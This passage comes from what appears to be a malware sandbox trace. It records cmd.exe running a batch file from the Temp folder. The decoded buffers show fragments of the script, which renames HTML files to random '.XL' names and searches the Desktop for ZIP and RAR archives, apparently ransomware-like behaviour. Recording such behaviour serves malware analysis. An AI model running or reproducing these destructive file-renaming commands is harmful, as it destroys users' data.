lpDistanceToMoveHigh=0x0) returned 0xdd9 [0037.812] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0037.812] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.812] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd9 [0037.812] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.812] GetFileType (hFile=0x74) returned 0x1 [0037.812] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd9 [0037.812] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.812] SetFilePointer (in: hFile=0x74, lDistanceToMove=3547, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0037.812] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0037.812] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.813] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0037.813] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.813] GetFileType (hFile=0x74) returned 0x1 [0037.813] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0037.813] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.813] SetFilePointer (in: hFile=0x74, lDistanceToMove=3574, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0037.813] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0037.813] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.813] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0037.813] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.813] GetFileType (hFile=0x74) returned 0x1 [0037.813] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0037.813] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.813] SetFilePointer (in: hFile=0x74, lDistanceToMove=3585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0037.813] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0037.813] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.813] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0037.813] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.813] GetFileType (hFile=0x74) returned 0x1 [0037.814] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0037.814] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.814] SetFilePointer (in: hFile=0x74, lDistanceToMove=3589, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0037.814] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=4, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":l\r\n Lock\r\n") returned 4 [0037.814] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.814] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0037.814] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.814] GetFileType (hFile=0x74) returned 0x1 [0037.814] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0037.814] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.814] SetFilePointer (in: hFile=0x74, lDistanceToMove=3595, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0037.814] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd..\r\nock\r\n") returned 6 [0037.814] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.814] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0037.814] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.814] GetFileType (hFile=0x74) returned 0x1 [0037.814] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0037.815] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.815] SetFilePointer (in: hFile=0x74, lDistanceToMove=3607, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0037.815] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=12, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd Desktop\r\nl %RANDOM%.XL\r\n") returned 12 [0037.815] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.815] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0037.815] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.815] GetFileType (hFile=0x74) returned 0x1 [0037.815] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0037.815] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.815] SetFilePointer (in: hFile=0x74, lDistanceToMove=3614, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0037.815] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Lock\r\ntop\r\n") returned 7 [0037.815] _close (_FileHandle=3) returned 0 [0037.815] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.815] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.816] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.816] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.817] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.817] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.817] SetConsoleInputExeNameW () returned 0x1 [0037.817] GetConsoleOutputCP () returned 0x1b5 [0037.817] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.817] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.818] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.818] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.818] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.818] SetFilePointer (in: hFile=0x74, lDistanceToMove=3614, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0037.818] GetProcessHeap () returned 0x4e0000 [0037.818] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0037.818] GetProcessHeap () returned 0x4e0000 [0037.818] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ad8 | out: hHeap=0x4e0000) returned 1 [0037.818] GetProcessHeap () returned 0x4e0000 [0037.818] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.818] GetProcessHeap () returned 0x4e0000 [0037.818] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.818] GetProcessHeap () returned 0x4e0000 [0037.818] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.818] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.818] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0037.818] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x180f, lpOverlapped=0x0) returned 1 [0037.818] SetFilePointer (in: hFile=0x74, lDistanceToMove=3616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0037.819] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nto Lock\r\ng %RANDOM%.XL\r\n\n") returned 2 [0037.819] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.819] GetFileType (hFile=0x74) returned 0x1 [0037.819] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.819] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0037.819] GetProcessHeap () returned 0x4e0000 [0037.819] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.819] GetProcessHeap () returned 0x4e0000 [0037.819] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.819] _tell (_FileHandle=3) returned 3616 [0037.819] _close (_FileHandle=3) returned 0 [0037.819] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.819] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.819] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.819] SetFilePointer (in: hFile=0x74, lDistanceToMove=3616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0037.820] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.820] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0037.820] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x180d, lpOverlapped=0x0) returned 1 [0037.820] SetFilePointer (in: hFile=0x74, lDistanceToMove=3641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0037.820] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.zip goto zip\r\n\n\n") returned 25 [0037.820] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.820] GetFileType (hFile=0x74) returned 0x1 [0037.820] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.820] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0037.828] GetProcessHeap () returned 0x4e0000 [0037.828] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.829] GetProcessHeap () returned 0x4e0000 [0037.829] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.829] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.829] GetProcessHeap () returned 0x4e0000 [0037.829] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.829] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.829] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.829] GetProcessHeap () returned 0x4e0000 [0037.829] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.829] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.829] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.829] GetProcessHeap () returned 0x4e0000 [0037.829] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.829] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.829] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.829] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.829] GetProcessHeap () returned 0x4e0000 [0037.829] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.829] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.829] GetProcessHeap () returned 0x4e0000 [0037.829] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.829] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.830] GetProcessHeap () returned 0x4e0000 [0037.830] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.830] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.830] _tell (_FileHandle=3) returned 3641 [0037.830] _close (_FileHandle=3) returned 0 [0037.832] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2b [0037.832] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.832] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.834] GetLastError () returned 0x2 [0037.834] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.834] GetLastError () returned 0x6 [0037.834] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.834] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.834] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.834] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.835] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.835] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.835] SetConsoleInputExeNameW () returned 0x1 [0037.835] GetConsoleOutputCP () returned 0x1b5 [0037.835] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.835] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.835] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.836] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.836] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.836] SetFilePointer (in: hFile=0x74, lDistanceToMove=3641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0037.836] GetProcessHeap () returned 0x4e0000 [0037.836] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.836] GetProcessHeap () returned 0x4e0000 [0037.836] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.836] GetProcessHeap () returned 0x4e0000 [0037.836] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.836] GetProcessHeap () returned 0x4e0000 [0037.836] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.836] GetProcessHeap () returned 0x4e0000 [0037.836] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.836] GetProcessHeap () returned 0x4e0000 [0037.837] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.837] GetProcessHeap () returned 0x4e0000 [0037.837] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.837] GetProcessHeap () returned 0x4e0000 [0037.837] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.837] GetProcessHeap () returned 0x4e0000 [0037.837] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.837] GetProcessHeap () returned 0x4e0000 [0037.837] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.837] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.837] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0037.837] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17f4, lpOverlapped=0x0) returned 1 [0037.837] SetFilePointer (in: hFile=0x74, lDistanceToMove=3643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0037.837] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto zip\r\n\n\n") returned 2 [0037.837] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.838] GetFileType (hFile=0x74) returned 0x1 [0037.838] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.838] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0037.838] GetProcessHeap () returned 0x4e0000 [0037.838] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.838] GetProcessHeap () returned 0x4e0000 [0037.838] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.838] _tell (_FileHandle=3) returned 3643 [0037.838] _close (_FileHandle=3) returned 0 [0037.838] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.838] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.838] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.838] SetFilePointer (in: hFile=0x74, lDistanceToMove=3643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0037.838] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.839] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0037.839] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17f2, lpOverlapped=0x0) returned 1 [0037.839] SetFilePointer (in: hFile=0x74, lDistanceToMove=3668, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0037.839] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\n\n\n") returned 25 [0037.839] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.839] GetFileType (hFile=0x74) returned 0x1 [0037.839] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.839] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0037.839] GetProcessHeap () returned 0x4e0000 [0037.839] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.839] GetProcessHeap () returned 0x4e0000 [0037.839] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.839] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.839] GetProcessHeap () returned 0x4e0000 [0037.839] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.839] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.839] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.839] GetProcessHeap () returned 0x4e0000 [0037.839] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.839] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.840] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.840] GetProcessHeap () returned 0x4e0000 [0037.840] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.840] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.840] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.840] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.840] GetProcessHeap () returned 0x4e0000 [0037.840] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.840] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.840] GetProcessHeap () returned 0x4e0000 [0037.840] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.840] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.840] GetProcessHeap () returned 0x4e0000 [0037.840] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.840] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.841] _tell (_FileHandle=3) returned 3668 [0037.841] _close (_FileHandle=3) returned 0 [0037.841] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2b [0037.841] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.841] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, 